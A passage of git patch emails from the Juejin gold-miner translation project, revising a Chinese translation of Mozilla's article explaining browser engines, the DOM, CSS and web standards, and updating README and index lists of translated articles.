 作为这系列文章的第一篇，最好还是先说明一下 Quantum 正在改变哪些核心内容。
 
@@ -18,11 +18,11 @@
 
 那么，就从头开始说起吧。
 
-Web 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，同时用户可以与之互动。
+Web 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，并且允许用户对这些文件进行交互操作。
 
-Quantum 是项目里的代码名，这个项目是 Mozilla 为了大幅度升级 Firefox 浏览器的一个模块，它决定了浏览器如何根据那些远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”。Firefox 的浏览器引擎叫 Gecko。
+Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级 Firefox 浏览器的某个模块，这个模块这决定了浏览器如何根据远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”。Firefox 的浏览器引擎叫 Gecko。
 
-可以简单地把浏览器引擎看作一个黑盒，（有点类似于电视机机顶盒），这个黑盒处理网页数据然后将页面呈现在屏幕上。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？
+可以简单地把浏览器引擎看作一个黑盒，（有点类似于电视机），灌入数据后由黑盒来决定展示在屏幕上的数据形态 。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png) 
 
@@ -34,7 +34,7 @@ Quantum 是项目里的代码名，这个项目是 Mozilla 为了大幅度升级
 
 浏览器引擎结合了页面结构和样式从而在屏幕上渲染出网页，同时确定可以互动的内容。
 
-这一切要从网页结构说起。浏览器会根据给定的地址去加载一个网站。这个地址指向的是另一台电脑，当它收到访问请求时，会返回网页数据给浏览器。至于这个过程的具体实现可以查阅[这篇文章](https://developer.mozilla.org/en-US/docs/Web/HTTP)，反正最后浏览器拿到网页数据了。这个数据被称为 HTML，它描述了网页的结构。那么浏览器又是如何读懂 HTML 的呢？
+这一切要从网页结构说起。浏览器会根据给定的地址去加载一个网站。这个地址指向的是另一台电脑，当它收到访问请求时，会返回网页数据给浏览器。至于这个过程的具体实现可以查阅[这篇文章](https://developer.mozilla.org/en-US/docs/Web/HTTP)，反正最后浏览器拿到网页数据了。这个数据以 HTML 的格式返回，它描述了网页的结构。那么浏览器又是如何读懂 HTML 的呢？
 
 浏览器引擎包含一类称为**解析器**的特殊模块，它将数据从一种格式转换为另一种可以存储在浏览器内存中的格式。举个例子，HTML 解析器拿到了以下 HTML 内容：
 
@@ -58,7 +58,7 @@ Quantum 是项目里的代码名，这个项目是 Mozilla 为了大幅度升级
 
 ## 关于样式 ##
 
-CSS 是一门编程语言，开发者可以借助 CSS 描述页面元素的外观。CSS 全称 Cascading Style Sheets （译注：层叠样式表），之所以这样命名是因为多个 CSS 指令可以作用在同一个元素上，后定义的指令可以覆盖之前定义的指令，特殊性高的指令可以覆盖特殊性低的指令（这就是层叠的概念）。下面是一些 CSS 代码。
+CSS 是一门编程语言，开发者可以借助 CSS 描述页面元素的外观。CSS 全称 Cascading Style Sheets （译注：层叠样式表），之所以这样命名是因为多个 CSS 指令可以作用在同一个元素上，后定义的指令可以覆盖之前定义的指令，权重高的指令可以覆盖权重低的指令（这就是层叠的概念）。下面是一些 CSS 代码。
 
 ```
 section {
@@ -82,7 +82,7 @@ img {
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)
 
-举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者更特殊的 CSS 规则最终会应用到元素上。想象一下，样式表好比一层层薄薄的透写纸，一层盖一层，不同之处在于，样式表允许那些比较特殊的透写纸的内容一直展示在最上层。（译注：此处译文追加较多……欢迎探讨……TBD）
+举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者权重更高的 CSS 规则最终会应用到元素上。想象一下，样式表好比一层层薄薄的透写纸，一层盖一层，不同之处在于，样式表允许那些权重高的展示在最上层。（译注：此处译文追加较多……欢迎探讨……TBD）
 
 一旦浏览器引擎计算好了样式，接下来就要派上用场了！布局引擎接下来会接手 DOM 和已计算的样式，并且会考虑待绘制布局所在的窗口大小。然后布局引擎会分析该元素应用的所有样式，并通过各种算法将每个元素绘制在一个个内容盒子中。
 
@@ -106,7 +106,7 @@ img {
 
 不同浏览器解释 HTML、CSS 和 JavaScript 的方式也不一样。这就产生了各种影响：小到细微的视觉差异，大到不同浏览器的兼容性问题。近年来在现代互联网中，大多数网站在不同浏览器下似乎都表现的不错，而且也没有关注用户具体使用的是什么浏览器。那么，不同浏览器又是如何达到这种程度的一致性体验呢？
 
-网站代码的格式，以及代码的解释规则、页面的渲染规则都是由一种由多方认可的文件定义的，即 Web 标准。来自浏览器厂商、Web 开发者、设计师等行业成员的代表组成了委员会制定了这些标准文档。他们一起确定了浏览器引擎对于代码的精确表现。Web 标准包括 [HTML、CSS 和 JavaScript 标准](https://developer.mozilla.org/en-US/docs/Web_Standards)以及图像、视频、音频等数据格式的标准。
+网站代码的格式，以及代码的解释规则、页面的渲染规则都是由一种由多方认可的文件定义的，即 Web 标准。来自浏览器厂商、Web 开发者、设计师等行业成员的代表组成的委员会制定了这些标准文档。他们一起确定了对于给定的代码片段，浏览器引擎应该显示的明确行为。Web 标准包括 [HTML、CSS 和 JavaScript 标准](https://developer.mozilla.org/en-US/docs/Web_Standards)以及图像、视频、音频等数据格式的标准。
 
 为什么说 Web 标准是重要的？因为只要保证遵循了 Web 标准，就有可能开发出一个全新的浏览器引擎，而且绘制出互联网上数以亿计的网页的方法和其他浏览器完全一致。这也意味着在某些浏览器中才能运作的“秘密配方”不再是秘密了（译者注：例如，不再需要 CSS 私有前缀）。另外，正因为 Web 标准的存在，用户可以凭自己的喜好挑选浏览器。
 
@@ -114,13 +114,13 @@ img {
 
 恐龙时代，人们只要有台式电脑就够了。这曾经是一个相对保守的假设：计算机只会变得更快更强大。这个想法是基于[摩尔定律](https://en.wikipedia.org/wiki/Moore%27s_law)的推测：集成电路上可容纳的元器件的数目，约每隔 2 年便会增加一倍（因此半导体芯片的性能也将提升一倍、体积也将缩小一倍）。令人难以置信的是，这种趋势一直持续到了 21 世纪并且有人认为这一定律仍然适用于当今最前沿的研究。那么为什么在过去十年中，计算机的平均运算速度似乎已经趋于稳定了？
 
-顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常易过热还非常贵！有时候人们想要一台电池状况良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又足够小到可以塞进口袋里，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于一个 CPU 芯片包含多个“计算机”（核心）。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。
+顾客买电脑的时候不单单考虑运行速度，毕竟速度快的电脑很可能非常耗电、非常容易发热还非常贵！有时候人们想要一台电池状况良好的笔记本电脑。有时候呢，人们又想要一个微型的触屏电脑，带摄像头，又足够小到可以塞进口袋里，并且电量足够用一天！计算能力的进步已经让这成为可能（真的很惊人！），不过代价就是运行速度下降。正如你在飙车的时候无法有效（或者说安全）地控制行车路线，你也无法让电脑超负荷计算的同时处理大量任务。现在的解决方案都是借助于单 CPU 多核。因此，现在智能手机普遍都有 4 个较小、较弱的计算核心。
 
-不幸的是，过去的浏览器设计也有点在速度方面呈现了这种上升轨迹。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？
+不幸的是，过去的浏览器设计在速度方面的上升轨迹也有点趋于平稳。另外，编写能够充分利用多核 CPU 的代码也是**极为**复杂的。所以，我们该如何在这个到处都是小型计算机的时代，开发一款高速又高效的浏览器呢？
 
 我们已经想到了！
 
-在接下来的几个月中，我们将更进一步观察 Firefox 的变化，以及这些变化将如何更好地利用现代硬件来交付[一个更快更稳定的浏览器](https://www.mozilla.org/en-US/firefox/developer/)，从而让网站更加多姿多彩。
+在接下来的几个月中，我们将更进一步关注 Firefox 的变化，以及这些变化将如何更好地利用现代硬件来实现[一个更快更稳定的浏览器](https://www.mozilla.org/en-US/firefox/developer/)，从而让网站更加多姿多彩。
 
 皮皮虾，我们走！ 
 

From da3c5208ae59c7404c4bd9c147dd380d7071974c Mon Sep 17 00:00:00 2001
From: Dalston Xu <xxdalston@gmail.com>
Date: Mon, 15 May 2017 22:13:59 +0800
Subject: [PATCH 462/638] =?UTF-8?q?=EF=BC=88=E8=80=8C=E9=9D=9E=E9=95=BF?=
 =?UTF-8?q?=E6=96=87=E6=9C=AC=E5=BD=A2=E5=BC=8F=EF=BC=89=E5=8E=BB=E6=8E=89?=
 =?UTF-8?q?=E6=8B=AC=E5=8F=B7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/quantum-up-close-what-is-a-browser-engine.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index 1ce7f249afb..df431c115de 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -50,7 +50,7 @@ Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级
 
 > 嗯，这里有个章节。在这个章节里有个一级标题，这个标题包含的文本内容是 “Hello!”。另外在这个章节中，还有一张图片。这个图片的数据从这里获取：http://example.com/image.png
 
-网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，（而非长文本形式），包括：每个元素各自的属性以及元素间的嵌套关系。
+网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，而非长文本形式，包括：每个元素各自的属性以及元素间的嵌套关系。
 
 [![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)
 

From a9753075761f77101bdfffbbe7fdbdb019b5635f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:14:32 +0800
Subject: [PATCH 463/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 00ec49c28d8..e2db54b3894 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [494](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [495](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -76,10 +76,10 @@
 
 ## 设计
 
+* [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [某些2017年的 UX 趋势啊，扎心了](https://juejin.im/post/58cf5dc22f301e007e52fb2b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
-* [像开发人员一样做设计](https://gold.xitu.io/entry/58b7ba6f8fd9c56d16be6bb0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Airmacho](https://github.com/Airmacho) 翻译)
 * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)
 
 

From 3d59272825e8478457c1971b35b6d25c60797b4c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:15:16 +0800
Subject: [PATCH 464/638] Update design.md

---
 design.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/design.md b/design.md
index d0fe601d5ff..9636ed5a59c 100644
--- a/design.md
+++ b/design.md
@@ -1,3 +1,4 @@
+* [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [某些2017年的 UX 趋势啊，扎心了](https://juejin.im/post/58cf5dc22f301e007e52fb2b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)

From a122d38ab9935f24e6d4a1417b45b649ba122fd6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:21:44 +0800
Subject: [PATCH 465/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index e2db54b3894..67a21a33cda 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [495](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [496](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 2fc6dc5742928270702924474747fb77ed4e248f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:22:51 +0800
Subject: [PATCH 466/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 1c6cfe7e5b1..160f70a0fe4 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)

From 612b8edd829c8decfc17ca6a4611dea2448d0a4c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:27:50 +0800
Subject: [PATCH 467/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 67a21a33cda..4358eb7bc20 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [496](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [497](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -76,10 +76,10 @@
 
 ## 设计
 
+* [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
-* [某些2017年的 UX 趋势啊，扎心了](https://juejin.im/post/58cf5dc22f301e007e52fb2b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [所有设计译文>>](https://github.com/xitu/gold-miner/blob/master/design.md)
 
 

From 8480586f9f4e3d093f7831839aba4c49c4bcbf5c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 15 May 2017 23:30:01 +0800
Subject: [PATCH 468/638] Update design.md

---
 design.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/design.md b/design.md
index 9636ed5a59c..1510d54ed89 100644
--- a/design.md
+++ b/design.md
@@ -1,3 +1,4 @@
+* [人人都是设计师，我们可以的。](https://juejin.im/post/59157cdf0ce4630069d79857?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ylq167](https://github.com/ylq167) 翻译)
 * [设计师装腔指南](https://juejin.im/post/5915880b570c35006932fac9?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Changkun Ou](https://github.com/changkun) 翻译)
 * [从形式到功能，设计思维的改变](https://juejin.im/post/58fedca744d9040069f720e4/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Ruixi](https://github.com/Ruixi) 翻译)
 * [搜索结果页的最佳实践](https://juejin.im/post/58da37c761ff4b00607287a6/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)

From 41b043f45c393e0533a52e305be3dc4b24ce44e6 Mon Sep 17 00:00:00 2001
From: Dalston Xu <xxdalston@gmail.com>
Date: Tue, 16 May 2017 16:58:24 +0800
Subject: [PATCH 469/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E4=BA=8C=E6=A0=A1?=
 =?UTF-8?q?=E3=80=81=E4=B8=89=E6=A0=A1=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
 =?UTF-8?q?~?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

根据二校、三校修改~
增加三校校对人信息
---
 ...antum-up-close-what-is-a-browser-engine.md | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index df431c115de..11c24d94d4a 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -2,15 +2,15 @@
 > * 原文作者：[Potch](http://potch.me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[吃土小2叉](https://github.com/xunge0613)
-> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[yzgyyang](https://github.com/yzgyyang)
+> * 校对者：[AceLeeWinnie](https://github.com/AceLeeWinnie)、[yzgyyang](https://github.com/yzgyyang)、[薛定谔的猫](https://github.com/Aladdin-ADD)
 
 # 解密 Quantum：现代浏览器引擎的构建之道 #
 
-2016 年 11 月，[Mozilla 公布了 Quantum 项目](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一项目已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次包含了 Quantum 的部分核心代码](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。
+2016 年 10 月，[Mozilla 公布了 Quantum 项目](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一项目已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次包含了 Quantum 的部分核心代码](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。
 
 但是，我们意识到对于那些不从事浏览器开发的人来说（而且是大多数人），很难明白这些改动对于 Firefox 的重大意义。毕竟，许多改动对于用户来说是不可见的。
 
-意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 项目正在做什么。我们希望通过这一系列的文章，能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。
+意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 项目正在做什么。我们希望这一系列的文章能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。
 
 作为这系列文章的第一篇，最好还是先说明一下 Quantum 正在改变哪些核心内容。
 
@@ -18,11 +18,11 @@
 
 那么，就从头开始说起吧。
 
-Web 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，并且允许用户对这些文件进行交互操作。
+Web 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，并且允许用户交互。
 
-Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级 Firefox 浏览器的某个模块，这个模块这决定了浏览器如何根据远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”。Firefox 的浏览器引擎叫 Gecko。
+Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级 Firefox 浏览器的某个模块，这个模块决定了浏览器如何根据远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”，如果没有浏览器引擎，用户就只能看看网站源代码而不能浏览网站了。Firefox 的浏览器引擎叫 Gecko。
 
-可以简单地把浏览器引擎看作一个黑盒，（有点类似于电视机），灌入数据后由黑盒来决定展示在屏幕上的数据形态 。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？
+可以简单地把浏览器引擎看作一个黑盒（有点类似于电视机），灌入数据后由黑盒来决定展示在屏幕上的数据形态。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png) 
 
@@ -32,7 +32,7 @@ Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级
 - 用于提供**样式**的代码，描述了网页结构的视觉外观
 - 用于控制浏览器行为的**脚本**代码，包括：计算、人机互动以及修改已初始化的网页结构和样式。
 
-浏览器引擎结合了页面结构和样式从而在屏幕上渲染出网页，同时确定可以互动的内容。
+浏览器引擎将页面结构和样式结合从而在屏幕上渲染出网页，同时确定可以互动的内容。
 
 这一切要从网页结构说起。浏览器会根据给定的地址去加载一个网站。这个地址指向的是另一台电脑，当它收到访问请求时，会返回网页数据给浏览器。至于这个过程的具体实现可以查阅[这篇文章](https://developer.mozilla.org/en-US/docs/Web/HTTP)，反正最后浏览器拿到网页数据了。这个数据以 HTML 的格式返回，它描述了网页的结构。那么浏览器又是如何读懂 HTML 的呢？
 
@@ -50,7 +50,7 @@ Quantum 是项目的代号，Mozilla 启动这个项目是为了大幅度升级
 
 > 嗯，这里有个章节。在这个章节里有个一级标题，这个标题包含的文本内容是 “Hello!”。另外在这个章节中，还有一张图片。这个图片的数据从这里获取：http://example.com/image.png
 
-网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，而非长文本形式，包括：每个元素各自的属性以及元素间的嵌套关系。
+网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，（而非长文本形式），包括：每个元素各自的属性以及元素间的嵌套关系。
 
 [![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)
 
@@ -82,7 +82,7 @@ img {
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)
 
